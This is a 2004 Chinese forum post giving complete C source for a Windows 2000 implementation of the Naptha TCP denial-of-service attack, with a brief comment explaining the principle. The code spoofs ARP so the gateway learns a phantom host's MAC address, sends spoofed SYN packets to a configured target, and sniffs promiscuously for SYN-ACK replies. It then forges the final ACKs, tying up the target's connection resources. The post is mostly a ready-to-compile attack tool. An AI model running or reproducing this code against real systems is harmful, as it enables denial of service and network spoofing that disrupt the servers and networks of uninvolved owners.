NAPTHA攻击方式在2K下的简单实现
/*
作者:LionD8
EMAIL:liond8@eyou.com
出处:https://www.xfocus.net/bbs/index.php?act=SE&f=3&t=33339&p=117598
我的窝:http://liond8.126.com
2004.2.16 凌晨
简单原理:
1.欺骗网关,让网关知道幻影主机的MAC.
2.嗅探局域网中的所有数据包,判断是不是返回给虚幻主机的
第2次握手的数据包。如果是,就伪造第3次握手.
3.发送伪造的SYN报文.
通过消耗对方的维护连接的资源进行DOS。占用通道等。
详细原理请见Warning3老大整理的 《新型网络DoS(拒绝服务)攻击漏洞 - "Naptha"》
我就不废话了。
地址: http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721
*/
///
//以下代码在2K VC6.0下编译通过
//在虚拟机上测试,好像2k系统如《新型网络DoS(拒绝服务)攻击漏洞 - "Naptha"》
//所说,不受什么影响.
///
#include "stdio.h"
#include "Packet32.h"
#include "windows.h"
#include <ws2tcpip.h>
#include "winsock2.h"
#include "wchar.h"
#define EPT_IP 0x0800
#define EPT_ARP 0x0806
#define ARP_HARDWARE 0x0001
#define ARP_REQUEST 0x0001
#define ARP_REPLY 0x0002
#define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020 //混杂模式
#pragma comment(lib, "packet.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma pack(push, 1)
typedef struct ehhdr
{
UCHAR eh_dst[6];
UCHAR eh_src[6];
USHORT eh_type;
}EHHEADR, *PEHHEADR;
typedef struct arphdr
{
USHORT arp_hrd;
USHORT arp_pro;
UCHAR arp_hln;
UCHAR arp_pln;
USHORT arp_op;
UCHAR arp_sha[6];
ULONG arp_spa;
UCHAR arp_tha[6];
ULONG arp_tpa;
}ARPHEADR, *PARPHEADR;
typedef struct arpPacket
{
EHHEADR ehhdr;
ARPHEADR arphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
typedef struct ip_head
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IPHEADER;
typedef struct tcp_head
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCPHEADER;
typedef struct tsd_hdr
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHEADER;
DWORD WINAPI ThreadArpSnoop(LPVOID lp);
USHORT checksum(USHORT *buffer, int size);
DWORD WINAPI ThreadSynFlood(LPVOID lp);
DWORD WINAPI SnifferSynAck(LPVOID lp);
void SendAck ( DWORD SEQ , DWORD ACK ,USHORT SPort);
void AnalyseData (LPPACKET lpPacket);
#define ATPORT 80 //攻击端口
#define ATIP "192.168.1.1" //攻击IP
#define GATE "192.168.85.1" //网关
#define SNOOPIP "192.168.85.250" //幻影主机IP
#define SLEEPTIME 1000
UCHAR DMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; //广播
UCHAR SMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFE}; //幻影主机MAC
BOOL IsGoOn = TRUE;
void main()
{
IsGoOn = FALSE;
CreateThread(NULL,NULL,ThreadArpSnoop,NULL,NULL,NULL);
while ( !IsGoOn )
Sleep(1);
IsGoOn = FALSE;
CreateThread(NULL,NULL,SnifferSynAck,NULL,NULL,NULL);
while ( !IsGoOn )
Sleep(1);
CreateThread(NULL,NULL,ThreadSynFlood,NULL,NULL,NULL);
while (1)
Sleep(1000000);
}
DWORD WINAPI ThreadArpSnoop(LPVOID lp)
{
static CHAR AdapterList[10][1024];
TCHAR szPacketBuf[512];
LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
DWORD AdapterNum = 0;
DWORD nRetCode, i;
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!/n");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '/0')||(*(temp-1) != '/0'))
{
if (*temp == '/0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"/n%d- %s/n", i+1, AdapterList[i]);
printf("/nPlease select adapter number:");
scanf("%d",&i);
if(i>AdapterNum)
{
printf("/nInput Number error!");
return 0;
}
IsGoOn = TRUE;
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[i-1]);
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx/n", nRetCode);
return 0;
}
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("/nError:failed to allocate the LPPACKET structure.");
return 0;
}
memset(szPacketBuf, 0, sizeof(szPacketBuf));
memcpy(ARPPacket.ehhdr.eh_dst, DMacAddr, 6);
memcpy(ARPPacket.ehhdr.eh_src, SMacAddr, 6);
ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(1);
memcpy(ARPPacket.arphdr.arp_sha, SMacAddr, 6);
ARPPacket.arphdr.arp_spa = inet_addr(SNOOPIP);
memset(ARPPacket.arphdr.arp_tha,0,6);
ARPPacket.arphdr.arp_tpa = inet_addr(GATE);
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);
if(PacketSetNumWrites(lpAdapter, 1)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!/n");
}
while ( 1 )
{
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!/n");
return 0;
}
Sleep(30000);
}
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}
DWORD WINAPI ThreadSynFlood(LPVOID lp)
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
int SourcePort;
char szSendBuf[60]={0};
BOOL flag;
int rect,nTimeOver;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartup Error!/n");
return 0;
}
sock=NULL;
if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Socket Setup Error!/n");
return 0;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!/n");
return false;
}
nTimeOver=1000;
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间
{
printf("setsockopt SO_SNDTIMEO error!/n");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(ATPORT);
addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP);
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //IP总长度
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=123;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=inet_addr(ATIP);
tcpHeader.th_dport=htons(ATPORT);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_seq=htonl(0x12345678);
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=inet_addr(SNOOPIP);
while(TRUE)
{
SourcePort=GetTickCount()%65534;
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%x/n",WSAGetLastError());
return false;
}
else printf("send ok!/n");
Sleep(SLEEPTIME);
}//endwhile
closesocket(sock);
WSACleanup();
return 0;
}
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
DWORD WINAPI SnifferSynAck(LPVOID lp)
{
LPADAPTER lpAdapter;
static CHAR AdapterList[10][1024];
ULONG AdapterNum;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ULONG AdapterLength=1024;
ULONG i,adapter_num=0;
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!/n");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '/0')||(*(temp-1) != '/0'))
{
if (*temp == '/0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"/n%d- %s/n", i+1, AdapterList[i]);
printf("/nPlease select adapter number:");
scanf("%d",&i);
if(i>AdapterNum)
{
printf("/nInput Number error!");
return 0;
}
IsGoOn = TRUE;
lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[i-1]);
if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
printf("Unable to open the driver, Error Code : %lx/n", GetLastError());
return 0;
}
//设置网卡为混杂模式
if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode/n");
}
if(PacketSetBuff(lpAdapter,1024*10)==FALSE)
{
printf("PacketSetBuff Error: %d/n",GetLastError());
return -1;
}
while ( 1 )
{
TCHAR Buffer[1024*10]={0};
LPPACKET lpPacket;
lpPacket=PacketAllocatePacket();
PacketInitPacket(lpPacket,Buffer,sizeof(Buffer));
PacketReceivePacket(lpAdapter,lpPacket,TRUE);
AnalyseData( lpPacket );
PacketFreePacket(lpPacket);
}
return 0;
}
void AnalyseData (LPPACKET lpPacket)
{
char *Buf;
EHHEADR *lpEthdr;
bpf_hdr *lpBpfhdr;
Buf=(char *)lpPacket->Buffer;
lpBpfhdr=(bpf_hdr *)Buf;
lpEthdr=(EHHEADR *)(Buf+lpBpfhdr->bh_hdrlen);
if(lpEthdr->eh_type==htons(0x0800) && (!memcmp(lpEthdr->eh_dst,SMacAddr,6)) )
{
TCPHEADER *lpTcphdr;
lpTcphdr=(TCPHEADER *)(Buf+lpBpfhdr->bh_hdrlen+sizeof(EHHEADR)+sizeof(IPHEADER));
if ( lpTcphdr->th_ack == ntohl(0x12345678+1) && lpTcphdr->th_flag == 0x12)
{
SendAck(lpTcphdr->th_seq,lpTcphdr->th_ack,lpTcphdr->th_dport);
}
}
}
void SendAck ( DWORD SEQ , DWORD ACK ,USHORT SPort)
{
SOCKET sock;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
char szSendBuf[60]={0};
BOOL flag;
int rect,nTimeOver;
sock=NULL;
if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Socket Setup Error!/n");
return ;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!/n");
return ;
}
nTimeOver=1000;
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间
{
printf("setsockopt SO_SNDTIMEO error!/n");
return ;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(ATPORT);
addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP);
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //IP总长度
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=123;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=inet_addr(ATIP);
tcpHeader.th_dport=htons(ATPORT);
tcpHeader.th_ack=htonl((ntohl(SEQ)+1));
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=0x10; // ack
tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_seq=ACK;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=inet_addr(SNOOPIP);
tcpHeader.th_sport=SPort;
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%x/n",WSAGetLastError());
return ;
}
else printf("send ok!/n");
closesocket(sock);
}
//参考文献: 《新型网络DoS(拒绝服务)攻击漏洞 - "Naptha"》
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721